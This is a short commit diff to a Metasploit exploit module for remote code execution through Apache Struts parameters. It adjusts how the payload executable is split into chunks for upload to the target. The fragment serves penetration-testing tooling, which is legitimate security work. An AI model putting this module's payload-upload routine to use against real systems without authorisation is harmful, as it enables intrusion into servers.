fixing issue raised by @Meatballs1

Author: Console

modules/exploits/multi/http/struts_code_exec_parameters.rb

@@ -120,7 +120,9 @@ def exploit
 		end
 
 		#Now with all the arch specific stuff set, perform the upload.
-		chunk_length = 2048 - (exec_cmd.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length)
+		#109 = length of command string plus the max length of append.
+		sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
+		chunk_length = 2048 - sub_from_chunk
 		chunk_length = ((chunk_length/4).floor)*3
 		while pl_exe.length > chunk_length
 			java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)